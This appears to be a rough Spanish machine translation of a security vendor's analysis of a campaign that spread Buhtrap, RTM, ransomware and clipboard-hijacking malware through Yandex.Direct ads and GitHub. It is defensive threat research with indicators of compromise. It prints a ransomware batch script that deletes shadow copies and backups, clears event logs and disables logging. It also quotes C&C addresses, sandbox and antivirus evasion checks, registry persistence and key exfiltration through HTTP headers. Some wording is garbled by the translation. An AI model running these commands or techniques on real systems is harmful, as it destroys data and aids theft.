Para apuntar a un ataque cibernético contra los contadores, puede usar los documentos de trabajo que están buscando en la red. Algo así en los últimos meses ha sido un grupo cibernético que distribuye las conocidas puertas traseras
Buhtrap y
RTM , así como encriptadores y software para robar criptomonedas. La mayoría de los objetivos se encuentran en Rusia. El ataque se implementa colocando anuncios maliciosos en Yandex.Direct. Las posibles víctimas fueron a un sitio donde se les pidió que descargaran un archivo malicioso disfrazado de plantilla de documento. Yandex eliminó los anuncios maliciosos después de nuestra advertencia.
El código fuente de Buhtrap se ha fusionado en la red en el pasado, por lo que cualquiera puede usarlo. No tenemos información sobre la disponibilidad del código RTM.
En una publicación, diremos cómo los atacantes distribuyeron malware usando Yandex.Direct y lo alojaron en GitHub. La publicación se completará con un análisis técnico de los malvari.
Buhtrap y RTM vuelven a los negocios
Mecanismo de distribución y víctimas
Las diversas cargas útiles entregadas a las víctimas están unidas por un mecanismo de distribución común. Todos los archivos maliciosos creados por cibercriminales se ubicaron en dos repositorios diferentes de GitHub.
Por lo general, en el repositorio había un archivo malicioso descargado, que a menudo cambiaba. Como puede ver el historial de cambios en el repositorio en GitHub, podemos ver qué tipo de malware se propagó durante un período determinado. Para convencer a la víctima de descargar un archivo malicioso, se utilizó el sitio blanki-shabloni24 [.] Ru, que se muestra en la figura anterior.
El diseño del sitio y todos los nombres de los archivos maliciosos son consistentes en un solo concepto: formularios, plantillas, contratos, muestras, etc. Dado que en el pasado el software Buhtrap y RTM ya se usaban en ataques contra contadores, asumimos que la estrategia es la misma en la nueva campaña. La única pregunta es cómo llegó la víctima al sitio de los atacantes.
Infección
Al menos unas pocas víctimas potenciales en este sitio fueron atraídas por publicidad maliciosa. El siguiente es un ejemplo de URL:
https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term= &pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456Como puede ver en el enlace, el banner fue publicado en el foro de contabilidad legítima bb.f2 [.] Kz. Es importante tener en cuenta que los banners aparecieron en diferentes sitios, todos tenían la misma identificación de campaña (blanki_rsya) y la mayoría estaban relacionados con los servicios de contabilidad o asistencia legal. Se puede ver en la URL que la víctima potencial usó el "formulario de cuenta de descarga" de la solicitud, lo que refuerza nuestra hipótesis sobre los ataques dirigidos. A continuación se enumeran los sitios donde aparecieron los banners y las búsquedas relacionadas.
- descargar formulario de cuenta - bb.f2 [.] kz
- muestra de contrato - Ipopen [.] en
- muestra de queja de declaración - 77metrov [.] ru
- formulario de contrato - blank-dogovor-kupli-prodazhi [.] es
- muestra de petición - zen.yandex [.] ru
- ejemplo de queja - jueves [.] es
- ejemplos de formularios de contrato - Regforum [.] es
- forma de contrato - assistentus [.] es
- muestra de acuerdo de apartamento - napravah [.] com
- muestras de contratos legales - avito [.] ru
El sitio blanki-shabloni24 [.] Ru puede haber sido configurado para pasar por una evaluación visual simple. Como regla general, la publicidad que conduce a un sitio de aspecto profesional con un enlace a GitHub no parece algo obviamente malo. Además, los atacantes subieron archivos maliciosos al repositorio solo durante un período limitado, probablemente durante la campaña. La mayor parte del repositorio en GitHub era un archivo zip vacío o un archivo exe limpio. Por lo tanto, los atacantes podrían distribuir publicidad a través de Yandex.Direct en sitios que probablemente fueron visitados por contadores que acudieron a consultas de búsqueda específicas.
A continuación, considere las diversas cargas útiles distribuidas de esta manera.
Análisis de carga útil
Cronología de distribución
La campaña de malware comenzó a fines de octubre de 2018 y está activa en el momento de escribir la publicación. Como todo el repositorio estaba disponible públicamente en GitHub, compilamos una cronología precisa de la distribución de seis familias diferentes de malware (consulte la figura a continuación). Agregamos una línea que muestra el momento en que se detectó un enlace de banner, según la telemetría de ESET, para compararlo con el historial de git. Como puede ver, esto se correlaciona bien con la disponibilidad de la carga útil en GitHub. La discrepancia a fines de febrero puede explicarse por nuestra falta de parte del historial de cambios, ya que el repositorio se eliminó de GitHub antes de que pudiéramos obtenerlo por completo.
Figura 1. Cronología de la distribución de malvari.Certificado Firma Certificados
La campaña usó muchos certificados. Algunos han firmado más de una familia de malware, lo que además indica que diferentes muestras pertenecen a la misma campaña. A pesar de la disponibilidad de la clave privada, los operadores no firmaron los archivos binarios sistemáticamente y no utilizaron la clave para todas las muestras. A finales de febrero de 2019, los atacantes comenzaron a crear firmas inválidas utilizando un certificado propiedad de Google, para el cual no tienen una clave privada.
Todos los certificados involucrados en la campaña y las familias Malvari que firman se enumeran en la tabla a continuación.
También utilizamos estos certificados de firma de código para comunicarnos con otras familias de malware. Para la mayoría de los certificados, no encontramos muestras que no se distribuirían a través del repositorio de GitHub. Sin embargo, el certificado TOV "MARIYA" se usó para firmar el Malvari, propiedad de la
botnet Wauchos, adware y mineros. Es poco probable que este malware se asocie con esta campaña. Lo más probable es que el certificado se haya comprado en la darknet.
Win32 / Filecoder.Buhtrap
El primer componente que llamó nuestra atención fue el primer Win32 / Filecoder.Buhtrap descubierto. Este es un archivo binario de Delphi que a veces se puede empaquetar. Se distribuyó principalmente en febrero - marzo de 2019. Se comporta como debería ser un programa de ransomware: busca discos locales y carpetas de red y cifra los archivos detectados. Para comprometerse, no necesita una conexión a Internet, ya que no se pone en contacto con el servidor para enviar claves de cifrado. En cambio, agrega un "token" al final del mensaje de recompra y sugiere usar el correo electrónico o Bitmessage para comunicarse con los operadores.
Para cifrar tantos recursos importantes como sea posible, Filecoder.Buhtrap lanza una secuencia diseñada para cerrar el software clave, que puede tener controladores de archivos abiertos con información valiosa, que pueden interferir con el cifrado. Los procesos objetivo son principalmente sistemas de gestión de bases de datos (DBMS). Además, Filecoder.Buhtrap elimina archivos de registro y copias de seguridad para dificultar la recuperación de datos. Para hacer esto, se ejecuta el script por lotes a continuación.
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
attrib "%userprofile%\documents\Default.rdp" -s -h
del "%userprofile%\documents\Default.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabledFilecoder.Buhtrap utiliza el servicio en línea legítimo IP Logger, creado para recopilar información sobre los visitantes del sitio. Esto está destinado a rastrear a las víctimas del codificador, de las cuales la línea de comando es responsable:
mshta.exe "javascript:document.write('');"Los archivos para el cifrado se seleccionan en caso de desajuste en las tres listas de excepciones. En primer lugar, los archivos con las siguientes extensiones no están cifrados: .com, .cmd, .cpl, .dll, .exe, .hta, .lnk, .msc, .msi, .msp, .pif, .scr, .sys y .bat. En segundo lugar, se excluyen todos los archivos para los que la ruta completa contiene líneas de directorio de la lista a continuación.
\.{ED7BA470-8E54-465E-825C-99712043E01C}\
\tor browser\
\opera\
\opera software\
\mozilla\
\mozilla firefox\
\internet explorer\
\google\chrome\
\google\
\boot\
\application data\
\apple computer\safari\
\appdata\
\all users\
:\windows\
:\system volume information\
:\nvidia\
:\intel\En tercer lugar, ciertos nombres de archivo también se excluyen del cifrado, entre ellos el nombre del archivo de mensaje con una demanda de rescate. La lista se presenta a continuación. Obviamente, todas estas excepciones están diseñadas para preservar la capacidad de iniciar la máquina, pero con su mínima usabilidad.
boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exeEsquema de cifrado de archivos
Una vez lanzado, el malware genera un par de claves RSA de 512 bits. El exponente privado (d) y el módulo (n) se cifran con una clave pública codificada de 2048 bits (exponente público y módulo), envuelta en zlib y codificada en base64. El código responsable de esto se muestra en la Figura 2.
Figura 2. El resultado de la descompilación de rayos hexadecimales del proceso de generación de un par de claves RSA de 512 bits.El siguiente es un ejemplo de texto sin formato con una clave privada generada, que es un token adjunto al mensaje de rescate.
DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239La clave pública de los atacantes se muestra a continuación.
e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDDLos archivos se cifran con AES-128-CBC con una clave de 256 bits. Para cada archivo encriptado, se genera una nueva clave y un nuevo vector de inicialización. La información clave se agrega al final del archivo encriptado. Considere el formato de archivo cifrado.
Los archivos cifrados tienen el siguiente encabezado:
Los datos del archivo fuente con la adición del valor mágico VEGA se cifran hasta los primeros 0x5000 bytes. Toda la información para descifrar se adjunta a un archivo con la siguiente estructura:
- El marcador de tamaño de archivo contiene una etiqueta que indica si el archivo es mayor que 0x5000 bytes
- AES key blob = ZlibCompress (RSAEncrypt (clave AES + IV, clave pública del par de claves RSA generado)
- Bloque de claves RSA = ZlibCompress (RSAEncrypt (clave privada RSA generada, clave pública RSA codificada))
Win32 / ClipBanker
Win32 / ClipBanker es un componente que se ha distribuido de manera intermitente desde finales de octubre hasta principios de diciembre de 2018. Su función es rastrear el contenido del portapapeles, busca las direcciones de las billeteras de criptomonedas. Habiendo determinado la dirección de la billetera objetivo, ClipBanker la reemplaza con la dirección supuestamente perteneciente a los operadores. Las muestras que estudiamos no estaban empaquetadas ni ofuscadas. El único mecanismo utilizado para enmascarar el comportamiento es el cifrado de cadenas. Las direcciones de las billeteras de los operadores se cifran con RC4. Criptomonedas objetivo: Bitcoin, Bitcoin cash, Dogecoin, Ethereum y Ripple.
Durante el período de distribución de malware, se envió una pequeña cantidad al MTC a las billeteras Bitcoin del atacante, lo que arroja dudas sobre el éxito de la campaña. Además, no hay razón para suponer que estas transacciones generalmente estaban relacionadas con ClipBanker.
Win32 / RTM
El componente Win32 / RTM se distribuyó durante varios días a principios de marzo de 2019. RTM es un banquero troyano basado en Delphi dirigido a sistemas bancarios remotos. En 2017, los investigadores de ESET publicaron un
análisis detallado de este programa, la descripción sigue siendo relevante. En enero de 2019, Palo Alto Networks también lanzó
una publicación de blog sobre RTM .
Descargador de Buhtrap
Durante algún tiempo, un descargador estuvo disponible en GitHub, a diferencia de las herramientas anteriores de Buhtrap. Va a
https://94.100.18[.]67/RSS.php?<some_id> para el siguiente paso y lo carga directamente en la memoria. Se pueden distinguir dos comportamientos del código de la segunda etapa. En la primera URL, RSS.php pasó la puerta trasera de Buhtrap directamente; esta puerta trasera es muy similar a la disponible después de la fuga del código fuente.
Curiosamente, vemos varias campañas con una puerta trasera Buhtrap, y presumiblemente están dirigidas por diferentes operadores. En este caso, la principal diferencia es que la puerta trasera se carga directamente en la memoria y no utiliza el esquema habitual con el proceso de implementación de DLL, del que hablamos
anteriormente . Además, los operadores cambiaron la clave RC4 utilizada para encriptar el tráfico de red al servidor C&C. En la mayoría de las campañas que vimos, a los operadores no les importaba cambiar esta clave.
El segundo comportamiento, más complejo: la URL RSS.php fue pasada por otro cargador. Implementó cierta ofuscación, como la reconstrucción de una tabla de importación dinámica. El propósito del gestor de arranque es contactar al servidor C&C
msiofficeupd [.] Com / api / F27F84EDA4D13B15 / 2, enviar registros y esperar una respuesta. Procesa la respuesta como un blob, la carga en la memoria y se ejecuta. La carga útil que vimos al ejecutar este cargador era la misma puerta trasera de Buhtrap, pero puede haber otros componentes.
Android / Spy.Banker
Curiosamente, también se encontró un componente para Android en el repositorio de GitHub. Estuvo en la sucursal principal solo por un día: 1 de noviembre de 2018. Además de estar alojado en GitHub, la telemetría de ESET no encuentra evidencia de la propagación de este malware.
El componente se alojó como un paquete de aplicaciones de Android (APK). Está muy ofuscado. El comportamiento malicioso está oculto en el JAR cifrado ubicado en el APK. Está encriptado RC4 con esta clave:
key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]La misma clave y algoritmo se utilizan para cifrar cadenas. JAR se encuentra en
APK_ROOT + image/files . Los primeros 4 bytes del archivo contienen la longitud del JAR cifrado, que comienza inmediatamente después del campo de longitud.
Después de descifrar el archivo, descubrimos que es Anubis, un banquero previamente
documentado para Android. El software malicioso tiene las siguientes funciones:
- grabación de micrófono
- tomando capturas de pantalla
- obtención de coordenadas GPS
- keylogger
- cifrado de datos del dispositivo y demanda de rescate
- spam
Curiosamente, el banquero usó Twitter como un canal de comunicación de respaldo para obtener otro servidor de C&C. La muestra que analizamos utilizó la cuenta @JohnesTrader, pero en el momento del análisis ya estaba bloqueada.
El banco contiene una lista de aplicaciones específicas en un dispositivo Android. Se ha vuelto más larga que la lista obtenida del estudio de Sophos. La lista contiene muchas aplicaciones bancarias, programas de compras en línea como Amazon y eBay, servicios de criptomonedas.
MSIL / ClipBanker.IH
El último componente que se distribuyó como parte de esta campaña fue el ejecutable .NET de Windows, que apareció en marzo de 2019. La mayoría de las versiones estudiadas fueron empaquetadas por ConfuserEx v1.0.0. Al igual que ClipBanker, este componente usa el portapapeles. Su objetivo es una amplia gama de criptomonedas, así como ofertas en Steam. Además, utiliza el servicio IP Logger para robar la clave WIF privada de Bitcoin.
Mecanismos de protección
Además de las ventajas que brinda ConfuserEx en la forma de contrarrestar la depuración, el volcado y la manipulación, el componente tiene la capacidad de detectar productos antivirus y máquinas virtuales.
Para verificar el inicio en una máquina virtual, el malware utiliza la línea de comandos WMI (WMIC) incorporada de Windows para solicitar información sobre el BIOS, a saber:
wmic biosLuego, el programa analiza la salida del comando y busca palabras clave: VBOX, VirtualBox, XEN, qemu, bochs, VM.
Para detectar productos antivirus, el malware envía una solicitud de Instrumental de administración de Windows (WMI) al Centro de seguridad de Windows utilizando la API
ManagementObjectSearcher como se muestra a continuación. Después de decodificar desde base64, la llamada se ve así:
ManagementObjectSearcher('root\\SecurityCenter2', 'SELECT * FROM AntivirusProduct')
Figura 3. El proceso de determinación de productos antivirus.Además, el malware comprueba si
CryptoClipWatcher , una herramienta para protegerse contra los ataques del portapapeles, se está ejecutando, y si se está ejecutando, detiene todos los hilos de este proceso, desactivando así la protección.
Persistencia
La versión de malware que estudiamos se copia a
%APPDATA%\google\updater.exe y establece el atributo "oculto" en el directorio de google. Luego cambia el valor de
Software\Microsoft\Windows NT\CurrentVersion\Winlogon\shell en el registro de Windows y agrega la ruta
updater.exe . Por lo tanto, el malware se ejecutará cada vez que un usuario inicie sesión.
Comportamiento malicioso
Al igual que ClipBanker, el malware monitorea el contenido del portapapeles y busca las direcciones de las billeteras de criptomonedas, y cuando lo encuentra, lo reemplaza con una de las direcciones del operador. A continuación se muestra una lista de direcciones de destino basadas en lo que se encontró en el código.
BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URLPara cada tipo de dirección hay una expresión regular correspondiente. El valor STEAM_URL se usa para atacar el sistema Steam, como se puede ver en la expresión regular, que se usa para determinar en el búfer:
\b(https:\/\/|http:\/\/|)steamcommunity\.com\/tradeoffer\/new\/\?partner=[0-9]+&token=[a-zA-Z0-9]+\bCanal de exfiltración
Además de reemplazar las direcciones en el búfer, el malware está dirigido a las claves WIF privadas de las billeteras Bitcoin, Bitcoin Core y Electrum Bitcoin. El programa utiliza plogger.org como canal de exfiltración para obtener la clave privada WIF. Para hacer esto, los operadores agregan los datos de la clave privada al encabezado HTTP User-Agent, como se muestra a continuación.
Figura 4. Consola IP Logger con salida.Los operadores no utilizaron iplogger.org para filtrar billeteras. Probablemente recurrieron a un método diferente debido a la restricción de 255 caracteres en el campo
User-Agent muestra en la interfaz web de IP Logger. En las muestras que estudiamos, otro servidor para generar datos se almacenó en la
DiscordWebHook entorno
DiscordWebHook . Sorprendentemente, esta variable de entorno no está asignada en ninguna parte del código. Esto sugiere que el malware todavía está en desarrollo y que la variable se asigna en la máquina de prueba del operador.
Hay otra señal de que el programa está en desarrollo. El binario incluye dos URL de iplogger.org, y se envía una solicitud a ambas cuando se extraen los datos. En una solicitud a una de estas URL, el valor en el campo Referer está precedido por "DEV /". También encontramos una versión que no estaba empaquetada con ConfuserEx, el destinatario de esta URL se llama DevFeedbackUrl. Según el nombre de la variable de entorno, creemos que los operadores planean usar el servicio legítimo Discord y su sistema de intercepción web para robar billeteras de criptomonedas.
Conclusión
Esta campaña es un ejemplo del uso de servicios de publicidad legítimos en ciberataques. El esquema está dirigido a organizaciones rusas, pero no nos sorprenderá ver tal ataque utilizando servicios no rusos. Para evitar compromisos, los usuarios deben confiar en la reputación de la fuente del software descargado.
Una lista completa de los indicadores de compromiso y atributos de MITER ATT & CK está disponible
aquí .